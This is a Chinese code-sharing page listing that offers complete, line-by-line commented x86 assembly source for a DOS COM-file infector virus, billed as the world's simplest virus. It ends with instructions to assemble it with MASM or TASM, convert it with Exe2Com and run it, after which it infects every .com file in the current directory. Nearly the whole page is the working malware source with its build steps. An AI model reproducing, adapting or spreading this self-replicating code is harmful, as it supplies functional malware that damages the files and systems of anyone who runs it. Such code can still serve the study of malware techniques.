最简单的病毒1.txt
资源名称:jiandan.rar [点击查看]
上传用户:tanghao919
上传日期:2021-05-09
资源大小:1k
文件大小:2k
源码类别:
杀毒
开发平台:
Asm
- 这个病毒恐怕是世界上最简单的病毒了,它只会感染,不会有破坏动作。
- Coolest对病毒的每一部分给出了详细的注释。不要说你看不懂哦。^_^
- VirusLength equ VirusEnd-VirusStart
- codeseg segment
- assume cs:codeseg,ds:codeseg,ss:codeseg
- org 100h
- main proc near
- InfectedCode db "M"
- db 3 dup(90h)
- VirusStart:
- call WhereIAm
- WhereIAm:
- pop si
- ;si指向pop si的首地址now
- mov bp,si
- add si,Original4Bytes-WhereIAm
- ;si指向Original4Bytes的首地址now
- mov di,100h
- movsw
- movsw
- ;恢复原来的文件头4个字节,以执行完病毒体后返回时正常
- ;执行原程序
- mov si,bp
- ;si指向pop si的首地址now
- mov ah,4eh
- Look4NextTarget:
- mov dx,offset Target-WhereIAm
- add dx,si
- mov cx,0
- int 21h
- ;查找第一个com文件
- jc error
- mov ax,3d02h
- mov dx,9eh
- int 21h
- jc error
- xchg ax,bx
- mov ah,3fh
- mov dx,si
- add dx,Original4Bytes-WhereIAm
- mov cx,4
- int 21h
- ;保留原com文件前4个字节
- mov al,'M'
- cmp ds:[si+Original4Bytes-WhereIAm],al
- jz SickOrExe
- ;已感染或是exe文件
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- int 21h
- ;移动指针到文件尾
- mov di,offset FourNewBytes-WhereIAm
- add di,2
- add di,si
- ;di指向0,0的第一个0
- sub ax,4
- ;恐怕最难明白就是这里了
- ;病毒把'M' e9写进文件头两个字节里后
- ;e9 wx yz被翻译为 jmp near $+2+yzwx
- ;ax此时为文件长度,从而
- ;文件头两条指令为
- ;dec bp
- ;jmp near (文件尾)
- mov ds:[di],ax
- add si,VirusStart-WhereIAm
- ;si指向VirusStart
- mov ah,40h
- mov dx,si
- mov cx,VirusLength
- int 21h
- ;写病毒体进文件
- mov si,bp
- ;si指向pop si的首地址now(即WhereIAm)
- jc error
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- int 21h
- ;移动文件指针到文件头
- mov ah,40h
- mov cx,4
- mov dx,si
- add dx,FourNewBytes-WhereIAm
- int 21h
- ;使文件执行时先跳到文件尾的病毒体执行
- jc error
- mov ah,3eh
- int 21h
- ;关闭文件,感染完成
- SickOrExe:
- mov ah,4fh
- jmp Look4NextTarget
- error:
- mov ax,100h
- push ax
- ret
- ;文件头四个字节已经恢复,可以正常执行原程序了
- main endp
- Original4Bytes:
- ret
- db 3 dup(?)
- ;病毒初次运行时,若没找到com文件,就会
- ;执行ret到psp段首
- Target db "*.com",0
- FourNewBytes db 'M',0e9h,0,0
- VirusEnd equ $
- codeseg ends
- end main
- 使用说明:
- 用Masm或Tasm编译,然后用Exe2Com转换为com文件,运行即可感染当前目录下的
- 所有com文件。